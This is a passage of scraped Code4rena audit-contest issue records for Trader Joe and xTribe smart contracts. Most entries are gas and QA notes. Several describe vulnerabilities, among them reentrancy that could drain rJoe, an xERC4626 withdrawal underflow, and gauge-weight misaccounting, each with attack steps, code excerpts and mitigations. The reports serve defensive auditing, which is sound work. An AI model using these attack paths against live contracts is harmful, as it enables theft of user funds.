"https://github.com/code-423n4/2022-01-trader-joe-findings/issues/128", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Gas Optimisation - Reduce storage loads"}, {"title": "Re-enterable Code When Making a Deposit to Stake", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/127", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "# Handle kirk-baird # Vulnerability details ## Impact Note: this attack requires `rJoe` to relinquish control during `tranfer()` which under the current [RocketJoeToken](https://github.com/code-423n4/2022-01-trader-joe/blob/main/contracts/RocketJoeToken.sol) it does not. Thus this vulnerability is raised as medium rather than high. Although it's not exploitable currently, it is a highly risky code pattern that should be avoided. This vulnerability would allow the entire rJoe balance to be drained from the contract. ## Proof of Concept The function [deposit()](https://github.com/code-423n4/2022-01-trader-joe/blob/main/contracts/RocketJoeStaking.sol#L96) would be vulnerable to reentrancy if rJoe relinquished control flow. The following lines show the reward calculations in variable `pending`. These calculations use two state variables `user.amount` and `user.rewardDebt`. Each of these are updated after `_safeRJoeTransfer()`. Thus if an attacker was able to get control flow during the `rJoe::tranfer()` function they would be able to reenter `deposit()` and the value calculated for `pending`would be the same as the previous iteration hence they would again be transferred `pending` rJoe tokens. During the rJoe transfer the would again gain control of the execution and call `deposit()` again. The process could be repeated until the entire rJoe balance of the contract has been transferred to the attacker. ```solidity if (user.amount > 0) { uint256 pending = (user.amount * accRJoePerShare) / PRECISION - user.rewardDebt; _safeRJoeTransfer(msg.sender, pending); } user.amount = user.amount + _amount; user.rewardDebt = (user.amount * accRJoePerShare) / PRECISION; ``` ## Tools Used n/a ## Recommended Mitigation Steps There are two possible mitigations. First is to use the [openzeppelin reentrancy guard](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol) over the `deposit()` function which will prevent multiple deposits being made simultaneously. The second mitigation is to follow the [checks-effects-interactions](https://docs.soliditylang.org/en/v0.8.11/security-considerations.html#re-entrancy) pattern. This would involve updating all state variables before making any external calls. "}, {"title": "Owner of LaunchEvent token has the ability to DOS attack the event", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/121", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Owner of LaunchEvent token has the ability to DOS attack the event"}, {"title": "Useless storage variable", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/116", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "# Handle p4st13r4 # Vulnerability details ## Impact `pendingRJoe()` reads a user into a storage variable, which is redundant since it\u2019s a `view()` function and the variable is never modified in place. It can be replaced by a `memory` variable for readability ## Proof of Concept [https://github.com/code-423n4/2022-01-trader-joe/blob/main/contracts/RocketJoeStaking.sol#L82](https://github.com/code-423n4/2022-01-trader-joe/blob/main/contracts/RocketJoeStaking.sol#L82) ## Tools Used Editor ## Recommended Mitigation Steps ```jsx UserInfo memory user = userInfo[_user]; ``` "}, {"title": "Unused variable _amount", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/115", "labels": ["bug", "0 (Non-critical)"], "target": "2022-01-trader-joe-findings", "body": "Unused variable _amount"}, {"title": "The staking contract should have pause/unpause functionality.", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/109", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2022-01-trader-joe-findings", "body": "The staking contract should have pause/unpause functionality."}, {"title": "instead of using && in require. just use require multiple time", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/103", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "# Handle rfa # Vulnerability details ## Impact expensive gas ## Proof of Concept https://github.com/code-423n4/2022-01-trader-joe/blob/main/contracts/RocketJoeFactory.sol#L53-L59 && operator cost more gas. ## Tools Used ## Recommended Mitigation Steps use require multiple times instead of && ``` require(_eventImplementation != address(0), \"RJFactory: Addresses can't be null address\"); require(_rJoe != address(0), \"RJFactory: Addresses can't be null address\"); ... ``` "}, {"title": "UserData struct can be packed into a single slot.", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/88", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "UserData struct can be packed into a single slot."}, {"title": "Explicit initialisation variable wastes gas.", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/87", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "# Handle TomFrenchBlockchain # Vulnerability details ## Impact gas costs ## Proof of Concept LaunchEvent has an explicit `initialized` variable which is in storage. https://github.com/code-423n4/2022-01-trader-joe/blob/a1579f6453bc4bf9fb0db9c627beaa41135438ed/contracts/LaunchEvent.sol#L228 To save an SSTORE we could just check that `_auctionStart > 0` as this is a sufficient check for initialisation. If a getter is needed then a function like the below could be added. ``` function initialized() external view returns bool { return auctionStart > 0; } ``` ## Recommended Mitigation Steps As above. "}, {"title": "LaunchEvent pays out fewer incentives then expected", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/82", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "# Handle TomFrenchBlockchain # Vulnerability details ## Impact LaunchEvent pays out fewer incentives than expected. ## Proof of Concept When creating a launch event, issuers must provide the total amount of tokens they want to send to the contract and what percentage of these are reserved for incentives. https://github.com/code-423n4/2022-01-trader-joe/blob/a1579f6453bc4bf9fb0db9c627beaa41135438ed/contracts/RocketJoeFactory.sol#L84-L86 Note that there's an inconsistency between the documentation and the implementation. Documentation implies that the issuer provides `_tokenAmount` tokens and an additional `_tokenAmount * _tokenIncentivesPercent / 1e18` as an incentive whereas in reality they only provide `_tokenAmount` This can be seen here: https://github.com/code-423n4/2022-01-trader-joe/blob/a1579f6453bc4bf9fb0db9c627beaa41135438ed/contracts/RocketJoeFactory.sol#L133 For us to pay out the correct percentage of `_tokenAmount` as incentives would expect that amount to be `(_tokenAmount * _tokenIncentivesPercent) / 1e18` however as can be seen we pay out `_tokenAmount - (_tokenAmount * 1e18) / (1e18 + _tokenIncentivesPercent)` https://github.com/code-423n4/2022-01-trader-joe/blob/a1579f6453bc4bf9fb0db9c627beaa41135438ed/contracts/LaunchEvent.sol#L273 This will consistently pay out a smaller percentage of the total amount of tokens than `_tokenIncentivesPercent`. ## Recommended Mitigation Steps Switch to having the issuer provide explicit amounts `_tokenIssuanceAmount` and `_tokenIncentivesAmount` to avoid mistakes about how percentages are handled. Add tests to ensure that the contract is initialised with the correct state. "}, {"title": "Use clones with immutable variables to reduce costs from SLOADs", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/79", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Use clones with immutable variables to reduce costs from SLOADs"}, {"title": "Free gas savings for using solidity 0.8.10+", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/78", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Free gas savings for using solidity 0.8.10+"}, {"title": "maxWithdrawPenalty and fixedWithdrawPenalty can be packed together", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/74", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "maxWithdrawPenalty and fixedWithdrawPenalty can be packed together"}, {"title": "Timestamps/durations held in storage can be packed", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/73", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Timestamps/durations held in storage can be packed"}, {"title": "Missing Sanity Checks Will Cause To Revert On the Function", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/71", "labels": ["bug", "disagree with severity", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "# Handle defsec # Vulnerability details ## Impact In the JoeStaking contract, the amount check should be placed on the contract. IF the amount is more than transfer operations should be completed. ## Proof of Concept 1. Navigate to the following contract. https://github.com/code-423n4/2022-01-trader-joe/blob/a1579f6453bc4bf9fb0db9c627beaa41135438ed/contracts/RocketJoeStaking.sol#L129 2. _amount is not checked if Its more than zero. ``` function withdraw(uint256 _amount) external { UserInfo storage user = userInfo[msg.sender]; require( user.amount >= _amount, \"RocketJoeStaking: withdraw amount exceeds balance\" ); updatePool(); uint256 pending = (user.amount * accRJoePerShare) / PRECISION - user.rewardDebt; user.amount = user.amount - _amount; user.rewardDebt = (user.amount * accRJoePerShare) / PRECISION; _safeRJoeTransfer(msg.sender, pending); joe.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _amount); } ``` ## Tools Used Code Review ## Recommended Mitigation Steps Consider to add the following check. ``` function withdraw(uint256 _amount) external { UserInfo storage user = userInfo[msg.sender]; require( user.amount >= _amount, \"RocketJoeStaking: withdraw amount exceeds balance\" ); updatePool(); uint256 pending = (user.amount * accRJoePerShare) / PRECISION - user.rewardDebt; user.amount = user.amount - _amount; user.rewardDebt = (user.amount * accRJoePerShare) / PRECISION; if(pending != 0) { _safeRJoeTransfer(msg.sender, pending); } if(_amount != 0){ joe.safeTransfer(address(msg.sender), _amount); } emit Withdraw(msg.sender, _amount); } ``` "}, {"title": "Initialization Function Is Missing If Token is Equals To WAVAX On the LaunchEvent", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/64", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "# Handle defsec # Vulnerability details ## Impact During the code review, It has been observed that the token can be same as WAVAX. The initialize function should not allow if token is equals to wavax. That would affect all asset management. ## Proof of Concept 1. Navigate to the following contract. ``` https://github.com/code-423n4/2022-01-trader-joe/blob/main/contracts/LaunchEvent.sol#L219 https://github.com/code-423n4/2022-01-trader-joe/blob/main/contracts/LaunchEvent.sol#L411 ``` ## Tools Used Code Review ## Recommended Mitigation Steps On the Launchevent, token should not be equal to wavax. "}, {"title": "Storing phase durations rather than start times duplicates calculations", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/59", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Storing phase durations rather than start times duplicates calculations"}, {"title": "Internal functions to private", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/52", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Internal functions to private"}, {"title": "Cache powers of 10 used several times", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/49", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Cache powers of 10 used several times"}, {"title": "Check if amount is not zero to save gas", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/48", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Check if amount is not zero to save gas"}, {"title": "Mult instead div in compares", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/46", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Mult instead div in compares"}, {"title": "safeApprove of openZeppelin is deprecated", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/44", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "safeApprove of openZeppelin is deprecated"}, {"title": "Not verified function inputs of public / external functions", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/43", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Not verified function inputs of public / external functions"}, {"title": "Missing commenting", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/39", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "# Handle robee # Vulnerability details The following functions are missing commenting as describe below: ConvexStakingWrapper.sol, user_checkpoint (external), @return is missing "}, {"title": "withdrawAVAX() function has call to sender without reentrancy protection ", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/32", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "# Handle jayjonah8 # Vulnerability details ## Impact In LauchEvent.sol the withdrawAVAX() function makes an external call to the msg.sender by way of _safeTransferAVAX. This allows the caller to reenter this and other functions in this and other protocol files. To prevent reentrancy and cross function reentrancy there should be reentrancy guard modifiers placed on the withdrawAVAX() function and any other function that makes external calls to the caller. ## Proof of Concept https://github.com/code-423n4/2022-01-trader-joe/blob/main/contracts/LaunchEvent.sol#L368 https://github.com/code-423n4/2022-01-trader-joe/blob/main/contracts/LaunchEvent.sol#L370 ## Tools Used Manual code review ## Recommended Mitigation Steps Add reentrancy guard modifier to withdrawAVAX() function. "}, {"title": "Lack of ownership check", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/27", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Lack of ownership check"}, {"title": "Admin Deny of Service", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/25", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "# Handle 0x1f8b # Vulnerability details ## Impact Owner can Denial of service. ## Proof of Concept In the contract `RocketJoeStaking` there are two ways to set `rJoePerSec`, one in the `initialize` and the second one in `updateEmissionRate`, in both of them there are no checks of the received value, so it's possible to use a high value and deny the service in line `updatePool:168`. ## Tools Used Manual review ## Recommended Mitigation Steps Change the type to uint128 for `rJoePerSec`. "}, {"title": "RocketJoeFactory assume the input address is WAVAX", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/23", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "RocketJoeFactory assume the input address is WAVAX"}, {"title": "Must approve 0 first", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/22", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Must approve 0 first"}, {"title": "Incompatibility With Rebasing/Deflationary/Inflationary tokens", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/18", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-01-trader-joe-findings", "body": "Incompatibility With Rebasing/Deflationary/Inflationary tokens"}, {"title": "Use safeTransfer/safeTransferFrom consistently instead of transfer/transferFrom", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/12", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "Use safeTransfer/safeTransferFrom consistently instead of transfer/transferFrom"}, {"title": "No Transfer Ownership Pattern", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/10", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "No Transfer Ownership Pattern"}, {"title": "FRONT-RUNNABLE INITIALIZERS", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/8", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "FRONT-RUNNABLE INITIALIZERS"}, {"title": "rJoe rewards can be manipulated for all users ", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/5", "labels": ["bug", "1 (Low Risk)", "disagree with severity"], "target": "2022-01-trader-joe-findings", "body": "rJoe rewards can be manipulated for all users "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/98", "labels": ["bug", "QA (Quality Assurance)", "sponsor todo"], "target": "2022-04-xtribe-findings", "body": "See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-03-neotokyo-findings/blob/main/data/Deathstore-Q.md)."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/97", "labels": ["bug", "QA (Quality Assurance)", "sponsor todo"], "target": "2022-04-xtribe-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/96", "labels": ["bug", "G (Gas Optimization)", "sponsor todo"], "target": "2022-04-xtribe-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/95", "labels": ["bug", "G (Gas Optimization)", "sponsor todo"], "target": "2022-04-xtribe-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/90", "labels": ["bug", "G (Gas Optimization)", "sponsor todo"], "target": "2022-04-xtribe-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/89", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-xtribe-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/87", "labels": ["bug", "sponsor acknowledged", "QA (Quality Assurance)"], "target": "2022-04-xtribe-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/85", "labels": ["bug", "G (Gas Optimization)", "sponsor todo"], "target": "2022-04-xtribe-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/84", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-04-xtribe-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/83", "labels": ["bug", "sponsor disputed", "QA (Quality Assurance)"], "target": "2022-04-xtribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/81", "labels": ["bug", "sponsor disputed", "QA (Quality Assurance)"], "target": "2022-04-xtribe-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/79", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-xtribe-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/77", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-04-xtribe-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/76", "labels": ["bug", "sponsor confirmed", "QA (Quality Assurance)"], "target": "2022-04-xtribe-findings", "body": "QA Report"}, {"title": "Unbounded delegating increases gas cost of transfer and can lock all funds", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/75", "labels": ["bug", "sponsor disputed", "QA (Quality Assurance)"], "target": "2022-04-xtribe-findings", "body": "Unbounded delegating increases gas cost of transfer and can lock all funds"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/74", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-04-xtribe-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/73", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-xtribe-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/72", "labels": ["bug", "sponsor acknowledged", "QA (Quality Assurance)"], "target": "2022-04-xtribe-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/71", "labels": ["bug", "sponsor acknowledged", "QA (Quality Assurance)"], "target": "2022-04-xtribe-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/70", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-04-xtribe-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/69", "labels": ["bug", "sponsor confirmed", "QA (Quality Assurance)", "sponsor todo"], "target": "2022-04-xtribe-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/68", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-04-xtribe-findings", "body": "Gas Optimizations"}, {"title": "xERC4626 does not work well with token tax on transfer", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/67", "labels": ["bug", "sponsor disputed", "QA (Quality Assurance)"], "target": "2022-04-xtribe-findings", "body": "xERC4626 does not work well with token tax on transfer"}, {"title": "First xERC4626 deposit exploit can break share calculation", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/66", "labels": ["bug", "2 (Med Risk)"], "target": "2022-04-xtribe-findings", "body": "First xERC4626 deposit exploit can break share calculation"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/64", "labels": ["bug", "sponsor disputed", "QA (Quality Assurance)"], "target": "2022-04-xtribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/63", "labels": ["bug", "sponsor disputed", "QA (Quality Assurance)"], "target": "2022-04-xtribe-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/62", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-xtribe-findings", "body": "Gas Optimizations"}, {"title": "Incorrect accounting of free weight in `_decrementWeightUntilFree`", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/61", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "sponsor todo"], "target": "2022-04-xtribe-findings", "body": "# Lines of code https://github.com/fei-protocol/flywheel-v2/blob/77bfadf388db25cf5917d39cd9c0ad920f404aad/src/token/ERC20Gauges.sol#L547-L583 # Vulnerability details ## Impact In `_decrementWeightUntilFree`, the free weight is calculated by `balanceOf[user] - getUserWeight[user]` plus weight freed from non-deprecated gauges. The non-deprecated criteria is unnecessary and lead to incorrect accounting of free weight. ## Proof of Concept https://github.com/fei-protocol/flywheel-v2/blob/77bfadf388db25cf5917d39cd9c0ad920f404aad/src/token/ERC20Gauges.sol#L547-L583 ``` function _decrementWeightUntilFree(address user, uint256 weight) internal { uint256 userFreeWeight = balanceOf[user] - getUserWeight[user]; // early return if already free if (userFreeWeight >= weight) return; uint32 currentCycle = _getGaugeCycleEnd(); // cache totals for batch updates uint112 userFreed; uint112 totalFreed; // Loop through all user gauges, live and deprecated address[] memory gaugeList = _userGauges[user].values(); // Free gauges until through entire list or under weight uint256 size = gaugeList.length; for (uint256 i = 0; i < size && (userFreeWeight + totalFreed) < weight; ) { address gauge = gaugeList[i]; uint112 userGaugeWeight = getUserGaugeWeight[user][gauge]; if (userGaugeWeight != 0) { // If the gauge is live (not deprecated), include its weight in the total to remove if (!_deprecatedGauges.contains(gauge)) { totalFreed += userGaugeWeight; } userFreed += userGaugeWeight; _decrementGaugeWeight(user, gauge, userGaugeWeight, currentCycle); unchecked { i++; } } } getUserWeight[user] -= userFreed; _writeGaugeWeight(_totalWeight, _subtract, totalFreed, currentCycle); } ``` Consider Alice allocated 3 weight to gauge D, gauge A and gauge B equally where gauge D is depricated 1. Alice call _decrementWeightUntilFree(alice, 2) 2. userFreeWeight = 0 3. gauge D is freed, totalFreed = 0, userFreed = 1 4. (userFreeWeight + totalFreed) < weight, continue to free next gauge 5. gauge A is freed, totalFreed = 1, userFreed = 2 6. (userFreeWeight + totalFreed) < weight, continue to free next gauge 7. gauge B is freed, totalFreed = 2, userFreed = 3 8. All gauge is freed Alternatively, Alice can 1. Alice call _decrementWeightUntilFree(alice, 1) 2. userFreeWeight = balanceOf[alice] - getUserWeight[alice] = 3 - 3 = 0 3. gauge D is freed, totalFreed = 0, userFreed = 1 4. (userFreeWeight + totalFreed) < weight, continue to free next gauge 5. gauge A is freed, totalFreed = 1, userFreed = 2 6. (userFreeWeight + totalFreed) >= weight, break 7. getUserWeight[alice] -= totalFreed 8. Alice call _decrementWeightUntilFree(alice, 2) 9. userFreeWeight = balanceOf[alice] - getUserWeight[alice] = 3 - 1 = 2 10. (userFreeWeight + totalFreed) >= weight, break 11. Only 2 gauge is freed ## Recommended Mitigation Steps No need to treat deprecated gauge seperately "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/60", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-04-xtribe-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/59", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-04-xtribe-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/56", "labels": ["bug", "sponsor confirmed", "QA (Quality Assurance)", "sponsor todo"], "target": "2022-04-xtribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/54", "labels": ["bug", "QA (Quality Assurance)", "sponsor todo"], "target": "2022-04-xtribe-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/52", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-04-xtribe-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/51", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-04-xtribe-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/50", "labels": ["bug", "sponsor disputed", "QA (Quality Assurance)"], "target": "2022-04-xtribe-findings", "body": "QA Report"}, {"title": "[WP-H0] `xERC4626.sol` Some users may not be able to withdraw until `rewardsCycleEnd` the due to underflow in `beforeWithdraw()`", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/48", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed", "sponsor todo"], "target": "2022-04-xtribe-findings", "body": "# Lines of code https://github.com/fei-protocol/ERC4626/blob/2b2baba0fc480326a89251716f52d2cfa8b09230/src/xERC4626.sol#L65-L68 # Vulnerability details https://github.com/fei-protocol/ERC4626/blob/2b2baba0fc480326a89251716f52d2cfa8b09230/src/xERC4626.sol#L65-L68 ```solidity function beforeWithdraw(uint256 amount, uint256 shares) internal virtual override { super.beforeWithdraw(amount, shares); storedTotalAssets -= amount; } ``` https://github.com/fei-protocol/ERC4626/blob/2b2baba0fc480326a89251716f52d2cfa8b09230/src/xERC4626.sol#L78-L87 ```solidity function syncRewards() public virtual { uint192 lastRewardAmount_ = lastRewardAmount; uint32 timestamp = block.timestamp.safeCastTo32(); if (timestamp < rewardsCycleEnd) revert SyncError(); uint256 storedTotalAssets_ = storedTotalAssets; uint256 nextRewards = asset.balanceOf(address(this)) - storedTotalAssets_ - lastRewardAmount_; storedTotalAssets = storedTotalAssets_ + lastRewardAmount_; // SSTORE ... ``` `storedTotalAssets` is a cached value of total assets which will only include the `unlockedRewards` when the whole cycle ends. This makes it possible for `storedTotalAssets -= amount` to revert when the withdrawal amount exceeds `storedTotalAssets`, as the withdrawal amount may include part of the `unlockedRewards` in the current cycle. ### PoC Given: - rewardsCycleLength = 100 days 1. Alice `deposit()` 100 TRIBE tokens; 2. The owner transferred 100 TRIBE tokens as rewards and called `syncRewards()`; 3. 1 day later, Alice `redeem()` with all shares, the transaction will revert at `xERC4626.beforeWithdraw()`. Alice's shares worth 101 TRIBE at this moment, but `storedTotalAssets` = 100, making `storedTotalAssets -= amount` reverts due to underflow. 4. Bob `deposit()` 1 TRIBE tokens; 5. Alice `withdraw()` 101 TRIBE tokens, `storedTotalAssets` becomes `0`; 6. Bob can't even withdraw 1 wei of TRIBE token, as `storedTotalAssets` is now `0`. If there are no new deposits, both Alice and Bob won't be able to withdraw any of their funds until `rewardsCycleEnd`. ### Recommendation Consider changing to: ```solidity function beforeWithdraw(uint256 amount, uint256 shares) internal virtual override { super.beforeWithdraw(amount, shares); uint256 _storedTotalAssets = storedTotalAssets; if (amount >= _storedTotalAssets) { uint256 _totalAssets = totalAssets(); // _totalAssets - _storedTotalAssets == unlockedRewards lastRewardAmount -= _totalAssets - _storedTotalAssets; lastSync = block.timestamp; storedTotalAssets = _totalAssets - amount; } else { storedTotalAssets = _storedTotalAssets - amount; } } ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/47", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-xtribe-findings", "body": "Gas Optimizations"}, {"title": "xTRIBE reward syncing is not permissionless allowing the owner to grieve users", "html_url": "https://github.com/code-423n4/2022-04-xtribe-findings/issues/43", "labels": ["bug", "sponsor disputed", "QA (Quality Assurance)"], "target": 